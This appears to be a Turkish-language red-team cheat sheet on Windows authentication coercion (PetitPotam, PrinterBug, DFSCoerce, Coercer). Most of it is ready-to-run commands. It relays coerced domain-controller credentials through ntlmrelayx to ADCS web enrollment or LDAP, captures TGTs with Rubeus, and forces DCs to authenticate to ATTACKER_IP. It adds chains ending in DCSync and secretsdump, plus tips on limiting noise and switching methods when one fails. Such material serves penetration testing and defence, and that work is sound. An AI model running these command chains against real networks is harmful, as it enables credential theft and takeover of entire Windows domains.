Skip to content

Coercion (PetitPotam / PrinterBug)

ATT&CK T1187 difficulty: kolay-orta

Coercion, bir Windows makinesini (çoğu zaman bir Domain Controller’ı) saldırganın kontrol ettiği bir hosta kimlik doğrulamaya zorlama tekniğidir. Zorlanan makine hesabının NTLM (veya Kerberos) kimliği, ya bir servise relay edilir (ör. ADCS web enrollment — ESC8, LDAP → RBCD) ya da unconstrained delegation ile TGT olarak yakalanır.

Tek başına domain ele geçirme değildir; kimlik kaynağı üretir. Zincirin ikinci ayağı (relay hedefi veya TGT dinleyici) olmadan coerce etmek anlamsızdır.

  • Hedef makinede ilgili RPC arayüzü dinliyor (Spooler, EFS, DFS-N…).
  • Saldırganın listener’ı hedef tarafından erişilebilir (SMB 445 / HTTP).
  • Relay için: hedef protokol imzasız veya signing zorunlu değil; ESC8’de HTTP Web Enrollment; LDAP’ta signing/channel binding durumu kritik.
  • Unconstrained yolunda: saldırgan host’un (veya ele geçirilen) hesabı TRUSTED_FOR_DELEGATION ve TGT monitor (Rubeus).
MS-RPRN (PrinterBug) → Spooler; SpoolSample / printerbug.py
MS-EFSRPC (PetitPotam) → EFS RPC; petitpotam.py / PetitPotam.exe
MS-DFSNM (DFSCoerce) → DFS Namespace
MS-FSRVP (ShadowCoerce) → File Server VSS Agent
MS-EVEN (EvenSvc) → EventLog (daha nadir)
AraçProtokolKimlik
petitpotam.pyMS-EFSRPCçoğu ortamda kimlikli; eski unauth
printerbug.py / SpoolSampleMS-RPRNdomain user yeterli
dfscoerce.pyMS-DFSNMkimlikli
Coercerhepsini denekimlikli / null dene
dementor.pyMS-RPRN varyantkimlikli
A) ESC8: coerce DC$ → ntlmrelayx → http://CA/certsrv → DC cert → PKINIT → DCSync
B) LDAP: coerce HOST$ → ntlmrelayx --delegate-access → RBCD on TARGET$ → S4U
C) UD: coerce DC$ → unconstrained host → Rubeus monitor → DC$ TGT → DCSync
D) SMB: coerce → relay to SMB (signing kapalı) → secretsdump / file write

Coercion · PetitPotam

embedded tool
Generated command
petitpotam.py -d domain.local -u user -p Pass123 10.10.10.66 10.10.10.5
  1. Dinleyiciyi/relay’i hazırla — önce ikinci ayağı ayağa kaldır:

    Terminal window
    impacket-ntlmrelayx -t http://ca01.domain.local/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
    Terminal window
    impacket-ntlmrelayx -t ldap://dc01.domain.local --delegate-access --escalate-user EVIL$
    Terminal window
    Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
  2. Hedefi zorla — DC veya yüksek değerli sunucuyu saldırgan IP’ye it:

    Terminal window
    petitpotam.py -u user -p 'Pass123' -d domain.local ATTACKER_IP 10.10.10.5
    Terminal window
    petitpotam.py ATTACKER_IP 10.10.10.5 # unauth (yama öncesi / bazı build'ler)
    Terminal window
    printerbug.py 'domain.local/user:Pass123'@10.10.10.5 ATTACKER_IP
    Terminal window
    dfscoerce.py -u user -p 'Pass123' -d domain.local ATTACKER_IP 10.10.10.5
    Terminal window
    coercer coerce -u user -p 'Pass123' -d domain.local -t 10.10.10.5 -l ATTACKER_IP
    Terminal window
    coercer scan -u user -p 'Pass123' -d domain.local -t 10.10.10.5
  3. Kimliği zincirle : ESC8 PFX → certipy auth / gettgtpkinit → DCSync

  4. LDAP RBCD → RBCD S4U

  5. TGT → Pass-the-Ticket + secretsdump -k

Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' -M spooler
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' -M petitpotam -o LISTENER=ATTACKER_IP
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' -M coerce_plus -o LISTENER=ATTACKER_IP

Bazı coerce yolları \ATTACKER@80\share veya WebClient servisine ihtiyaç duyar (HTTP auth). Relay tarafında ntlmrelayx HTTP hedefi veya Responder + relay kombinasyonu kullanılır. WebClient kapalıysa SMB listener (\ATTACKER\share) tercih edilir.

Terminal window
petitpotam.py -u user -p pass 'ATTACKER@80/share' DC_IP
  • Coerce + ESC8, kısa sürede Event ID (certificate request, NTLM) üretir; angajman penceresini netleştir.
  • Aynı DC’ye onlarca farklı RPC metodu denemek (Coercer full blast) gürültülü; önce scan , sonra tek çalışan vektör.
  • Unconstrained host’ta uzun monitor = bellek/tüketim; /filteruser kullan.
  • Relay’de SMB signing zorunlu hedefler başarısız olur — önce nxc smb TARGET –gen-relay-list ile imzasız host listesi çıkar.
  • Listener hazır olmadan coerce → kimlik gider, yakalanmaz.
  • PetitPotam unauth yamalı ortamlarda fail; kimlikli dene + PrinterBug/DFS.
  • Spooler servisi kapalıysa PrinterBug ölür; EFS/DFS dene.
  • Kerberos-only / EPA / channel binding ESC8 veya LDAP relay’i kırar.
  • Coerce edilen kimlik makine hesabı dır ( DC$ ); kullanıcı şablonu ( User ) ile ESC8 sertifikası işe yaramaz — DomainController / Machine şablonu kullan.
  • ADCS ESC8
  • Unconstrained Delegation
  • NTLM Relay
  • RBCD